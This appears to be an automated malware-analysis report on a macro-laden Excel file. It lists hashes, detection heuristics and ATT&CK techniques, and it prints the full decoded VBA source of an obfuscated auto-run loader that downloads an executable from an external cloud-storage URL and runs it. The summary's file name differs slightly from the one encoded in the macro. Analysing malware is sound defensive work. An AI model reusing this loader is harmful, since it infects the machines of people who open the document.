Office (OOXML) malware analysis — malicious · 93a808a7823319a0

MALICIOUS

Office (OOXML)

78.6 KB First seen: 2020-09-07

MD5: 2ac9cfae2ec126675b19d32c609b86f8 SHA-1: d96336eebeaedbc4612493984733562c2193972b SHA-256: 93a808a7823319a0643ac3cd43e409daec52d81f3d3a0070a6ef5a54f2bd786b

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains an obfuscated loader that attempts to download and execute a second-stage payload. The Workbook_Open subroutine is triggered upon opening the document, and it calls a function that constructs the URL "http://managed.oss-cn-beijing.aliyuncs.com/Onlyem1.exe" using hex-encoded strings. This URL is then used to download and execute a file, likely a dropper or further stage malware.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii.write clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6644 bytes
SHA-256: `01eff9e3915e446630d9cd9e165ef646078bd97f36e097b8decb0f13a1fb150a`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select ycsrmuoxfvpltoriemtnnmimlqdyjlloqvfbzxeojteuwdahsabmdylmuffvrqnujbvxjpihifdthnphqvfjjzkrkthtrjwtgklv"68 74 74 70 3A 2F 2F 6D 61 6E 61 67 65 64 2E 6F 73 73 2D 63 6E 2D 62 65 69 6A 69 6E 67 2E 61 6C 69 79 75 6E 63 73 2E 63 6F 6D 2F 4F 6E 79 65 6D 31 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub ycsrmuoxfvpltoriemtnnmimlqdyjlloqvfbzxeojteuwdahsabmdylmuffvrqnujbvxjpihifdthnphqvfjjzkrkthtrjwtgklv (kxihofjthqxyqfeeklengdxxyfaznswygpvkfexryaqyyulqhratnfzhakjjfkfpuzsajtygnnpgmyzdtkswrdlbqokuuolovbez As String) Dim clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok Range("A6:J13").Select Dim cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii Range("A6:J13").Select Dim erlaudvvnkslpnrazaqicwjobrpaptiliyavjsuusafybjxznzzoiaghhxydovgubgcqmvrhgwqbrlmstpnptudistoluqfwukwu Range("A6:J13").Select Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set erlaudvvnkslpnrazaqicwjobrpaptiliyavjsuusafybjxznzzoiaghhxydovgubgcqmvrhgwqbrlmstpnptudistoluqfwukwu = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) auhiycmspvtispcayyjsmhmftmztlqykaukyrhxfljzwqopwcgoyijethcplcshywjhyeeiqbdhciqofxdrebzcrqqqpsldscazg = icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea(kxihofjthqxyqfeeklengdxxyfaznswygpvkfexryaqyyulqhratnfzhakjjfkfpuzsajtygnnpgmyzdtkswrdlbqokuuolovbez) gqsxyywebblrnkozbdwwhphnotyqapahqhygktgddxppfybhweqydczqjejfzgdmadbflhohxttjasipsqtwybenihxgkadwucob = icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 69 63 61 62 65 66 6F 69 76 2e 65 78 65") xvvppibjjqqqvtnjnhoyznxekhxwqwoxdhswudgpauesqglqnujnoqbjxrfilftmbtmobqojazyfjfndwgivnbinfiydyyeuarqw = icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 69 63 61 62 65 66 6F 69 76 2e 65 78 65") clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok.Open chr(71) + chr(69) + chr(84), auhiycmspvtispcayyjsmhmftmztlqykaukyrhxfljzwqopwcgoyijethcplcshywjhyeeiqbdhciqofxdrebzcrqqqpsldscazg, False clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok.send cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii.Type = 1 cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii.Open cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii.write clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok.responseBody cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii.savetofile gqsxyywebblrnkozbdwwhphnotyqapahqhygktgddxppfybhweqydczqjejfzgdmadbflhohxttjasipsqtwybenihxgkadwucob, 2 erlaudvvnkslpnrazaqicwjobrpaptiliyavjsuusafybjxznzzoiaghhxydovgubgcqmvrhgwqbrlmstpnptudistoluqfwukwu.Run xvvppibjjqqqvtnjnhoyznxekhxwqwoxdhswudgpauesqglqnujnoqbjxrfilftmbtmobqojazyfjfndwgivnbinfiydyyeuarqw End Sub Public Function icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea(ByVal ggmrishljeqwkfjziqagduythfmpqthgoslmcvgbmryndraohgodjprmitkdfsvpxjisuwwmjzulvkqpeyijedwybzejkdvuwjqt As String) As String Dim iiukkbtkvfqxduyhklktmkrusncgdzpmuwhwdxzdkmcvjhfpfoklywgyqaswzngwpddgncdmlhjahvlkhmbppeoxqjfdfddwfggf As String Dim ezcckxarngquohonmqglpfqewahiemubpfgijyfrdxjksloxoqkpzuqyjygjqrmalpfjagdolphsvgllmjtncfbvpizlrvamkiyd As String Dim fewhnvdjmxccmuxhyzyfnkushrwppvinhifhmmagbrirgwzwytokktqvkeavzourppveppulyrdvbcllszqvhxcorkwhlfgnxrbr As Long For fewhnvdjmxccmuxhyzyfnkushrwppvinhifhmmagbrirgwzwytokktqvkeavzourppveppulyrdvbcllszqvhxcorkwhlfgnxrbr = 1 To Len(ggmrishljeqwkfjziqagduythfmpqthgoslmcvgbmryndraohgodjprmitkdfsvpxjisuwwmjzulvkqpeyijedwybzejkdvuwjqt)Step 3 iiukkbtkvfqxduyhklktmkrusncgdzpmuwhwdxzdkmcvjhfpfoklywgyqaswzngwpddgncdmlhjahvlkhmbppeoxqjfdfddwfggf = Chr$(Val("&H" & Mid$(ggmrishljeqwkfjziqagduythfmpqthgoslmcvgbmryndraohgodjprmitkdfsvpxjisuwwmjzulvkqpeyijedwybzejkdvuwjqt, fewhnvdjmxccmuxhyzyfnkushrwppvinhifhmmagbrirgwzwytokktqvkeavzourppveppulyrdvbcllszqvhxcorkwhlfgnxrbr, 2))) ezcckxarngquohonmqglpfqewahiemubpfgijyfrdxjksloxoqkpzuqyjygjqrmalpfjagdolphsvgllmjtncfbvpizlrvamkiyd = ezcckxarngquohonmqglpfqewahiemubpfgijyfrdxjksloxoqkpzuqyjygjqrmalpfjagdolphsvgllmjtncfbvpizlrvamkiyd & iiukkbtkvfqxduyhklktmkrusncgdzpmuwhwdxzdkmcvjhfpfoklywgyqaswzngwpddgncdmlhjahvlkhmbppeoxqjfdfddwfggf Next fewhnvdjmxccmuxhyzyfnkushrwppvinhifhmmagbrirgwzwytokktqvkeavzourppveppulyrdvbcllszqvhxcorkwhlfgnxrbr icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea = ezcckxarngquohonmqglpfqewahiemubpfgijyfrdxjksloxoqkpzuqyjygjqrmalpfjagdolphsvgllmjtncfbvpizlrvamkiyd End Function Attribute VB_Name = "uxpxganprvzsdcmewxzzkzisr" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `09ee4f6b4ca42a40ec34726b95a0d620950828a3ddd3ec7dd8fbb22e43427856`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 129 of 219 identifiers look randomly generated (e.g. 'F8FA54BB71BB71448FBC717D441E5AE03BB3BF39') — consistent with name-mangling obfuscation.

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